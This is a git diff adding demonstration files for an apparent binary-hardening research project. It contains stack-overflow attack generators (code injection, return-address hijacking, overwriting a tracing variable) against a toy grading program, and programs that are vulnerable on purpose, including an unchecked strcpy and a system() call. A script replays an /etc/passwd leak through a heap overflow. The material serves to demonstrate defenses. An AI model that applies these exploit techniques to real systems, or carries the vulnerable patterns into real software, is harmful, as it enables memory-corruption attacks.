+                      "\x20\x20\x20\x20"     /* 0x0bffff054 */
+                      "\x78\xef\xff\xbf"     /* 0x0bffff058 */  /* ebp */
+											/* Change return addr to 
+												bypass username check 
+												and execute grade = 'B' line
+											 */
+                      "\x61\x85\x04\x08"     /* 0x0bffff05c */ /*  return addr */
+                      "\x60\xa0\x04\x08"     /* 0x0bffff060 */ /* addr Name */ 
+                      "\x0a\x0a\x0a\x0a"     /* 0x0bffff064 */
+                      "\x0a\x0a\x0a\x0a";    /* 0x0bffff068 */
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeB.no_strata.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeB.no_strata.c
new file mode 100644
index 0000000000000000000000000000000000000000..799646630e86d53e854c28f52c56cf9dc1279aa5
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeB.no_strata.c
@@ -0,0 +1,47 @@
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] = "Ja"                   /* 0x0bfffefa6 */
+                      "ck D"                 /* 0x0bfffefa8 */
+                      "avid"                 /* 0x0bfffefac */
+                      "son\x00"              /* 0x0bfffefb0 */
+                      "\xc6\x05\x20\x20"     /* 0x0bfffefb4 */ 
+		      "\x40\x20\x41\x90"     /* 0x0bfffefb8 */
+                      "\x68\x33\x11\x40"     /* 0x0bfffefbc */
+                      "\x00\x90\xc3\x3e"     /* 0x0bfffefc0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefc4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefc8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefcc */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefd0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefd4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefd8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefdc */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefe0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefe4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefe8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefec */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeff0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeff4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeff8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeffc */
+                      "\x20\x20\x20\x20"     /* 0x0bffff000 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff004 */
+                      "\x62\x00\x00\x00"     /* 0x0bffff008 */  /* i here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff00c */  /* c here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff010 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff014 */
+                      "\x38\xf0\xff\xbf"     /* 0x0bffff018 */  /* ebp */
+                      "\xfd\x82\x04\x08"     /* 0x0bffff01c */ /*  return addr */
+                      "\xc0\x80\x0c\x08"     /* 0x0bffff020 */ /* addr Name */ 
+                      "\x0a\x0a\x0a\x0a"     /* 0x0bffff024 */
+                      "\x0a\x0a\x0a\x0a";    /* 0x0bffff028 */
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-strata_parm1.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-strata_parm1.c
new file mode 100644
index 0000000000000000000000000000000000000000..8731e83dd94128cb79c5bff647c3460475a23a0d
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-strata_parm1.c
@@ -0,0 +1,62 @@
+/* This attack generator attempts to overwrite the first parameter to 
+ * readString with the address of one strata variable, strata_tracing 
+ *  Then when the copying of the buffer to the parameter is carried out,
+ *  the value of strata_tracing can be changed to 1.
+ *
+ * strata_tracing is laid out next to the TI struct. 
+ * For the program not to crash, 
+ * the attack must preserve all the bytes of TI that might be overwritten.
+ * This means that the first 98 bytes (BUFSIZE) of the attackString should
+ * match the memory starting from strata_tracing, with the exception of the
+ * changed value of strata_tracing that is desired.
+
+ */
+
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] = "\x01\x00"                   /* 0x0bfffefa6 */
+                      "\x00\x00\x00\x00"                 /* 0x0bfffefa8 */
+                      "\x00\x00\x00\x00"                 /* 0x0bfffefac */
+                      "\x00\x00\x00\x00"              /* 0x0bfffefb0 */
+                      "\x00\x00\x00\x00"     /* 0x0bfffefb4 */ 
+		      "\x00\x00\x00\x00"     /* 0x0bfffefb8 */
+                      "\x00\x00\x00\x00"     /* 0x0bfffefbc */
+                      "\x00\x00\x00\x00"     /* 0x0bfffefc0 */
+                      "\x00\x00\xd2\x27"     /* 0x0bfffefc4 */
+                      "\x25\x09\x55\x12"     /* 0x0bfffefc8 */
+                      "\x0d\x09\xfc\x27"     /* 0x0bfffefcc */
+                      "\x25\x09\xb9\x67"     /* 0x0bfffefd0 */
+                      "\x25\x09\x2e\x49"     /* 0x0bfffefd4 */
+                      "\x25\x09\x7c\x51"     /* 0x0bfffefd8 */
+                      "\x25\x09\x6e\x53"     /* 0x0bfffefdc */
+                      "\x25\x09\x84\x5a"     /* 0x0bfffefe0 */
+                      "\x25\x09\x10\xf6"     /* 0x0bfffefe4 */
+                      "\x25\x09\xd9\x2c"     /* 0x0bfffefe8 */
+                      "\x25\x09\xe3\x67"     /* 0x0bfffefec */
+                      "\x25\x09\xf0\xd1"     /* 0x0bfffeff0 */
+                      "\x25\x09\x30\x9d"     /* 0x0bfffeff4 */
+                      "\x25\x09\xb4\x67"     /* 0x0bfffeff8 */
+                      "\x25\x09\xff\x95"     /* 0x0bfffeffc */
+                      "\x25\x09\x98\x18"     /* 0x0bffff000 */
+                      "\x25\x09\x8e\x67"     /* 0x0bffff004 */
+                      "\x62\x00\x00\x00"     /* 0x0bffff008 */  /* i here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff00c */  /* c here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff010 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff014 */
+                      "\x38\xf0\xff\xbf"     /* 0x0bffff018 */  /* ebp */
+                      "\xfd\x82\x04\x08"     /* 0x0bffff01c */ /*  return addr */
+                      "\x00\xe2\x33\x09"     /* 0x0bffff020 */ 
+				/* addr of parm 1, changed to addr of strata_tracing */ 
+                      "\x0a\x0a\x0a\x0a"     /* 0x0bffff024 */
+                      "\x0a\x0a\x0a\x0a";    /* 0x0bffff028 */
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-strata_tracing.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-strata_tracing.c
new file mode 100755
index 0000000000000000000000000000000000000000..82605289267e12b06a36299f226b3307dc77eebd
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-strata_tracing.c
@@ -0,0 +1,64 @@
+#include <stdio.h>
+#include <string.h>
+
+/* This attack generator crafts a code injection attack which 
+ *	changes one of Strata's memory locations.  In this instance
+ *	strata_tracing will be changed to a value of 1
+ *	which will turn on tracing output
+ */ 
+                                      /* stack location address */
+char attackString[] =
+    "Ja"		   /* 0xbfffefa6 */ /* Name: 0x80c80c0 */
+    "ck D"                 /* 0xbfffefa8 */ /* Name: 0x80c80c2 */
+    "avid"                 /* 0xbfffefac */ /* Name: 0x80c80c6 */
+    "son\x00"              /* 0xbfffefb0 */ /* Name: 0x80c80ca */
+    "\xc6\x05\x00\xe2"     /* 0xbfffefb4 */ /* Name: 0x80c80ce */ /* movb 0x1,0x0x0933e200 address of strata_tracing */
+    "\x33\x09\x01\x90"     /* 0xbfffefb8 */ /* nop is \x90 */ 
+    "\x68\xf7\x82\x04"     /* 0xbfffefbc */ /* op 68 is push ret addr 0x080482f7 */
+    "\x08\x90\xc3\x3e"     /* 0xbfffefc0 */	/* nop is \x90; c3 is ret inst */ 
+    "\x20\x20\x20\x20"     /* 0xbfffefc4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefc8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefcc */
+    "\x20\x20\x20\x20"     /* 0xbfffefd0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefdc */
+    "\x20\x20\x20\x20"     /* 0xbfffefe0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefec */
+    "\x20\x20\x20\x20"     /* 0xbfffeff0 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff4 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff8 */
+    "\x20\x20\x20\x20"     /* 0xbfffeffc */
+    "\x20\x20\x20\x20"     /* 0xbffff000 */
+    "\x20\x20\x20\x20"     /* 0xbffff004 */
+    "\x62\x00\x00\x00"     /* 0xbffff008 */	/* i here */
+    "\x20\x20\x20\x20"     /* 0xbffff00c */ 	/* c here */
+    "\x20\x20\x20\x20"     /* 0xbffff010 */
+    "\x20\x20\x20\x20"     /* 0xbffff014 */
+    "\x38\xf0\xff\xbf"     /* 0xbffff018 */	/* ebp  aka frame ptr */
+    "\xce\x80\x0c\x08"     /* 0xbffff01c */	/* return address should b
+							the addr of Name 
+							where injection code is
+							0x80c80ce */
+    "\xc0\x80\x0c\x08"     /* 0xbffff020 */ 	/* address of Name */ 
+    "\x0a\x0a\x0a\x0a" ;    /* 0xbffff024 */
+/* The key to the attack is to change the return address (located on the
+   stack at address 0x22cc7c as indicated in the above picture to
+   point to the code location in main where the grade is set to a "B".
+   However, it is also important for the buffer overrun to preserve the
+   frame pointer and the address of grade on the stack (grade is passed and s
+   points to it
+*/
+
+
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.dynamic.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.dynamic.txt
new file mode 100644
index 0000000000000000000000000000000000000000..5a366fb75f47b09183582839fdb17d5a6a140806
Binary files /dev/null and b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.dynamic.txt differ
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.static.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.static.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2103f665448a25c644bb81f462b2bcc0a490453c
Binary files /dev/null and b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.static.txt differ
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2103f665448a25c644bb81f462b2bcc0a490453c
Binary files /dev/null and b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badA.txt differ
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.dynamic.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.dynamic.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d9b789714306ec225496da1898b62313f029171a
Binary files /dev/null and b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.dynamic.txt differ
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.static.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.static.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c3520ece5ad8b805d5f40c78ee09bfd1c0f002e1
Binary files /dev/null and b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.static.txt differ
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c3520ece5ad8b805d5f40c78ee09bfd1c0f002e1
Binary files /dev/null and b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/badB.txt differ
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.good_inputs/good.txt b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.good_inputs/good.txt
new file mode 100644
index 0000000000000000000000000000000000000000..eeae9c63ea9573190317c06a11a25f45d71bc738
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.good_inputs/good.txt
@@ -0,0 +1 @@
+Jack Davidson
diff --git a/peasoup_examples/demos/demo.aug_9_2011/heap_overflow.c b/peasoup_examples/demos/demo.aug_9_2011/heap_overflow.c
new file mode 100644
index 0000000000000000000000000000000000000000..06c4aa1fe43eab816003982779af910b7d9e1f90
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/heap_overflow.c
@@ -0,0 +1,54 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main(int argc, char * argv[])
+{
+	FILE *filed;
+	char *userinput=malloc(20);
+	char *outputfile=malloc(20);
+	char buf[256];
+	
+	if (argc != 2)
+	{
+		printf("Usage: %s <file_to_open>\n", argv[0]);
+		exit(0);
+	}
+	
+	// point outputfile at the help file
+	strcpy(outputfile, "help.txt");
+	strcpy(userinput, argv[1]);
+
+	// let's check out the memory addresses of userinput and outputfile
+	printf("userinput @ %p: %s\n",userinput,userinput);
+	printf("outputfile @ %p: %s\n", outputfile, outputfile);
+
+	// Do some error-checking: no /etc/passwd allowed as user input
+	if (strcmp("/etc/passwd",userinput)==0)
+	{
+		fprintf(stderr, "ERROR:  You may not specify /etc/passwd as a file to view.\n");
+		exit(1);
+	}
+
+	filed = fopen(userinput, "r");
+	if (filed==NULL)
+	{
+		// if the file can't be opened, then print the help.txt
+		fprintf(stderr, "\nerror opening file %s\n", userinput);
+		sprintf(buf, "%s %s", "cat", outputfile);
+		system(buf);
+		exit(1);
+	}
+	else
+	{
+		printf("\nThe contents of %s are:\n", userinput);
+		fflush(stdout);
+		// print the word count of the file
+		sprintf(buf, "%s %s", "cat", userinput);
+		system(buf);
+	}
+
+	// fprintf(filed, "%s\n", userinput);
+	fclose(filed);
+	return 0;
+}
diff --git a/peasoup_examples/demos/demo.aug_9_2011/help.txt b/peasoup_examples/demos/demo.aug_9_2011/help.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3fc3f4f685b073e23c81ad68f4d467b56c4a21c6
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/help.txt
@@ -0,0 +1,8 @@
+#
+#
+# This is a help.txt file
+# It contains information about 
+# the usage of this program 
+# and arguments that may be passed.
+#
+#
diff --git a/peasoup_examples/demos/demo.aug_9_2011/malloc.c b/peasoup_examples/demos/demo.aug_9_2011/malloc.c
new file mode 100644
index 0000000000000000000000000000000000000000..d5c1e3de8e21a2049f39aee92608100df40d3d48
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/malloc.c
@@ -0,0 +1,61 @@
+/** The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. **/ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+	static int *malloc_ptr=NULL;
+
+	if(malloc_ptr){
+		free(malloc_ptr);
+		malloc_ptr=0;
+	}
+	else {
+		malloc_ptr=malloc(((1+N)*(from+1)*(1+to)*(1+using)) << 4);
+	}
+
+	if (N > 0) { 
+		dohanoi(N-1, from, using, to); 
+		dohanoi(N-1, using, to, from); 
+	} 
+	else {
+		int j;
+	}
+} 
+
+int main (int argc, char **argv) { 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) { 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) {
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++) {
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/ps_demo.sh b/peasoup_examples/demos/demo.aug_9_2011/ps_demo.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7a238c5b3aaeabbabb519b89580aafdfa39770a4
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/ps_demo.sh
@@ -0,0 +1,166 @@
+#!/bin/sh
+
+if [ "${PEASOUP_HOME}x" = "x" ]; then
+	echo "environment variable: PEASOUP_HOME is empty."
+	echo "PEASOUP_HOME must be defined to point at a valid peasoup_examples directory"
+	exit 1
+fi
+
+if [ "${STRATA}x" = "x" ]; then
+	echo "environment variable: STRATA is empty. "
+	echo "STRATA must be defined to point at a valid Strata security branch"
+	exit 1
+fi
+
+# if the executable hasn't been built, then build it!
+if [ ! -f dumbledore.original ]; then
+	make dumbledore.original
+fi
+
+TOOLBASE=${PEASOUP_HOME}/tools
+
+# A pause function
+Pause()
+{
+	key=""
+	echo -n "\nPress any key to continue...\n"
+	echo
+	stty -icanon
+	key=`dd count=1 2>/dev/null`
+	stty icanon
+}
+
+# N.B. - Assumes that dumbledore.original has already been built.
+# clear the screen
+clear
+# 1) Run dumbledore_cmd.original with good input
+echo "Running dumbledore.original with a non-malicious input\n\n"
+good_input=`cat dumbledore.good_inputs/good.txt`
+echo "Input: ${good_input}\n"
+
+echo "./dumbledore.original < dumbledore.good_inputs/good.txt\n"
+
+Pause
+
+./dumbledore.original  < dumbledore.good_inputs/good.txt
+
+Pause
+
+# clear screen before doing the next step
+clear
+
+# 2) Run dumbledore.original with a bad input that PEASOUP can catch
+#	input is too long and overwrites return address and base pointer
+
+echo "Running dumbledore.original with CODE INJECTION input.\nReported grade will be changed from D to A.\n"
+
+bad_input=`cat dumbledore.exploits/badA.dynamic.txt`
+echo "Input: ${bad_input}\n\n"
+echo "./dumbledore.original < dumbledore.exploits/badA.dynamic.txt\n"
+
+Pause
+
+./dumbledore.original < dumbledore.exploits/badA.dynamic.txt
+
+Pause
+clear
+
+# 3) Run dumbledore.protected on bad input A, show defeat of exploit
+echo "At 6-month review: Instruction Set Randomization"
+echo "Running PEASOUP-protected dumbledore on CODE INJECTION input.\n"
+echo "PEASOUP detects the code injection.\n" 
+
+bad_input=`cat dumbledore.exploits/badA.dynamic.txt`
+echo "Input: ${bad_input}\n\n"
+echo "./dumbledore.protected < dumbledore.exploits/badA.dynamic.txt\n"
+
+Pause
+
+./dumbledore.protected < dumbledore.exploits/badA.dynamic.txt
+
+Pause
+# clear the screen
+clear
+
+# 4) Run dumbledore.original on ARC INJECTION input
+echo "Running dumbledore.original with ARC INJECTION input\n"
+echo "Input will cause username check to be bypassed."
+echo "Reported grade will be B, instead of the expected D.\n"
+bad_input=`cat dumbledore.exploits/badB.dynamic.txt`
+echo  "Input: ${bad_input}\n\n"
+echo "./dumbledore.original < dumbledore.exploits/badB.dynamic.txt\n"
+
+Pause
+
+./dumbledore.original < dumbledore.exploits/badB.dynamic.txt
+
+Pause 
+clear
+
+# 5) Run dumbledore.protected on bad input #2, show that we did not defeat the exploit
+echo "NEW since 6-month review: Instruction Layout Randomization"
+echo "Running PEASOUP-protected dumbledore with arc injection attack input\n\n"
+badBinput=`cat dumbledore.exploits/badB.dynamic.txt`
+echo "Input: ${badBinput}\n\n"
+echo "./dumbledore.protected < dumbledore.exploits/badB.dynamic.txt\n"
+
+Pause
+
+./dumbledore.protected < dumbledore.exploits/badB.dynamic.txt
+
+
+Pause
+clear
+# 6) Run heap overflow original on some sample inputs
+echo "Heap overflow example: non-malicious inputs"
+echo "Program takes a filename as an argument and cat's the file."
+echo "Input: sample.txt\n\n"
+echo "./heap_overflow.original sample.txt\n"
+
+Pause
+
+./heap_overflow.original sample.txt
+
+Pause
+clear
+
+echo "Heap overflow example: another non-malicious input"
+echo "Program detects disallowed user input and prints error message."
+echo "Input: /etc/passwd\n\n"
+echo "./heap_overflow.original /etc/passwd\n"
+
+Pause
+
+./heap_overflow.original /etc/passwd
+
+
+Pause
+clear
+
+echo "Heap overflow example: malicious input"
+echo "Overflow heap buffer to try and leak sensitive information."
+echo "Input: 012345678901234567890123/etc/passwd\n\n"
+echo "./heap_overflow.original 012345678901234567890123/etc/passwd\n"
+
+Pause
+
+./heap_overflow.original 012345678901234567890123/etc/passwd
+
+
+Pause
+clear
+
+# 7) Run PS_analyzed heap overflow
+echo "NEW since 6-month review: Heap Randomization"
+echo "Running PEASOUP-protected heap_overflow on malicious input"
+echo "Execution is altered from original.  Information not leaked."
+echo "Input: 012345678901234567890123/etc/passwd\n\n"
+echo "./heap_overflow.protected 012345678901234567890123/etc/passwd\n"
+
+Pause
+
+./heap_overflow.protected 012345678901234567890123/etc/passwd
+
+echo
+echo
+echo "END of DEMO"
diff --git a/peasoup_examples/demos/demo.aug_9_2011/sample.txt b/peasoup_examples/demos/demo.aug_9_2011/sample.txt
new file mode 100644
index 0000000000000000000000000000000000000000..4c7b3c71801fdcf4edcb0867f23586c67e62ffb8
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/sample.txt
@@ -0,0 +1,41 @@
+
+int main(int argc, char * argv[])
+{
+	FILE *filed;
+	char *userinput=malloc(20);
+	char *outputfile=malloc(20);
+	char buf[256];
+	
+	// point outputfile at the help file
+	strcpy(outputfile, "help.txt");
+	strcpy(userinput, argv[1]);
+
+	// Do some error-checking: no /etc/passwd allowed as user input
+	if (strcmp("/etc/passwd",userinput)==0)
+	{
+		fprintf(stderr, "ERROR:  You may not specify /etc/passwd as a file to view.\n");
+		exit(1);
+	}
+
+	filed = fopen(userinput, "r");
+	if (filed==NULL)
+	{
+		// if the file can't be opened, then print the help.txt
+		fprintf(stderr, "\nerror opening file %s\n", userinput);
+		sprintf(buf, "%s %s", "cat", outputfile);
+		system(buf);
+		exit(1);
+	}
+	else
+	{
+		printf("\nThe contents of %s are:\n", userinput);
+		fflush(stdout);
+		// print the word count of the file
+		sprintf(buf, "%s %s", "cat", userinput);
+		system(buf);
+	}
+
+	// fprintf(filed, "%s\n", userinput);
+	fclose(filed);
+	return 0;
+}
diff --git a/peasoup_examples/demos/demo.jan_21_2011/Makefile b/peasoup_examples/demos/demo.jan_21_2011/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..3d9aafd85f5ed92b51ffa9476f0761adeae3959b
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/Makefile
@@ -0,0 +1,21 @@
+TOOLBASE=${PEASOUP_HOME}/tools
+
+all: dumbledore.original dumbledore_cmd.original dumbledore.protected
+
+dumbledore.original: dumbledore.o
+	${TOOLBASE}/ps_link.sh dumbledore.o -o dumbledore.original
+
+dumbledore_cmd.original: dumbledore_cmd.o
+	${TOOLBASE}/ps_link.sh dumbledore_cmd.o -o dumbledore_cmd.original
+
+dumbledore.protected: dumbledore.original
+	${TOOLBASE}/ps_analyze.sh dumbledore.original dumbledore.protected
+	echo "Note: this step will end in an error for now, but that's OK"
+
+.c.o:
+	${TOOLBASE}/ps_comp.sh  $<
+
+clean:
+	rm -f *.o dumbledore.original dumbledore_cmd.original dumbledore.protected dumbledore_cmd.protected tmp
+
+	rm -Rf peasoup_executable_directory.*
diff --git a/peasoup_examples/demos/demo.jan_21_2011/demo_analyze.sh b/peasoup_examples/demos/demo.jan_21_2011/demo_analyze.sh
new file mode 100755
index 0000000000000000000000000000000000000000..93bda3471e30c260e64b280ef2d5100bde105518
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/demo_analyze.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+
+# This script demonstrates the steps for ps_analyze.sh on a specific directory
+# It exists merely to save some time in live demonstrating some of the steps by
+# making use of some existing intermediate products of the ps_analyze process.
+#
+# If a rebuild is necessary, some of the values in this script must be changed.
+# They are annotated below.
+
+
+# Save the current working directory
+START_DIR=`pwd`
+
+# name of the target exe
+name=dumbledore_cmd.original
+
+# CHANGE this directory to the newly built dumbledore_cmd directory
+# Should be of the form : peasoup_executable_directory.dumbledore_cmd.original.<pid>
+# This speeds up the IDA Pro step because intermediate files (particularly idb) are already in existence
+EXE_DIR=${PEASOUP_HOME}/demos/demo.jan_21_2011/peasoup_executable_directory.dumbledore_cmd.original.2051
+ 
+cd ${EXE_DIR}
+
+# Perform Stratafication
+echo -n Creating stratafied executable...
+sh $STRATA_HOME/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied > /dev/null 2>&1
+echo Stratafication completed.
+
+current_dir=`pwd`
+peasoup_binary=$name.sh
+
+echo "#!/bin/sh" >> $peasoup_binary
+echo "" >> $peasoup_binary
+echo "$PEASOUP_HOME/tools/ps_run.sh $current_dir \$*" >> $peasoup_binary
+chmod +x $peasoup_binary
+
+# Run the IDA Pro static analysis phase
+echo Running IDA Pro static analysis phase ...
+$SMPSA_HOME/SMP-analyze.sh a.ncexe
+echo Static analysis phase completed.
+
+# Run GraCE
+echo Running GraCE concolic testing to generate inputs ...
+$PEASOUP_HOME/tools/do_concolic.sh a --iterations 40 2>&1 |egrep -e "INPUT VECTOR:" -e "1: argc ="
+echo GraCE concolic testing phase complete.
+
+cd - > /dev/null 2>&1
+
+cp ${EXE_DIR}/${name}.sh dumbledore_cmd.protected
+
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.c b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.c
new file mode 100644
index 0000000000000000000000000000000000000000..02e2f05c1105deb85faf5281272fda79cb817f74
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.c
@@ -0,0 +1,47 @@
+
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = getchar();
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   mprotect((void*)((unsigned int)Name & 0xfffff000), 1,
+            PROT_READ | PROT_WRITE | PROT_EXEC);
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/Makefile b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..1db272320fd9b27f577c518da9805eaa5fa52475
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/Makefile
@@ -0,0 +1,30 @@
+# This file contains rules to build attack generators for the dumbledore example
+#	which uses file input.
+# 	attack-gradeXXX.no_strata is the attack generator for a non-stratafied 
+#		application
+#	The attack generator for stratafied application may need 
+#		to be slightly different
+PS_TOOLBASE=${PEASOUP_HOME}/tools
+
+all: attack-gradeA attack-gradeB attack-strata_tracing
+
+attack-strata_tracing: attack-strata_tracing.o
+	${PS_TOOLBASE}/ps_link.sh attack-strata_tracing.o -o attack-strata_tracing
+
+attack-strata_parm1: attack-strata_parm1.o
+	${PS_TOOLBASE}/ps_link.sh attack-strata_parm1.o -o attack-strata_parm1
+
+attack-gradeA.no_strata: attack-gradeA.no_strata.o
+	${PS_TOOLBASE}/ps_link.sh attack-gradeA.no_strata.o -o gradeA.no_strata
+
+attack-gradeB.no_strata: attack-gradeB.no_strata.o
+	${PS_TOOLBASE}/ps_link.sh attack-gradeB.no_strata.o -o gradeB.no_strata
+
+attack-graCE_infinite: attack-graCE_infinite.o
+	${PS_TOOLBASE}/ps_link.sh attack-graCE_infinite.o -o graCE_infinite
+
+.c.o:
+	${PS_TOOLBASE}/ps_comp.sh $<
+
+clean:
+	rm gradeA.no_strata gradeB.no_strata attack-strata_tracing attack-graCE_infinite attack-strata_parm1 *.o
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-gradeA.no_strata.c b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-gradeA.no_strata.c
new file mode 100755
index 0000000000000000000000000000000000000000..097546fa85000982683b0a674bef5fad5eb3cbfa
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-gradeA.no_strata.c
@@ -0,0 +1,58 @@
+#include <stdio.h>
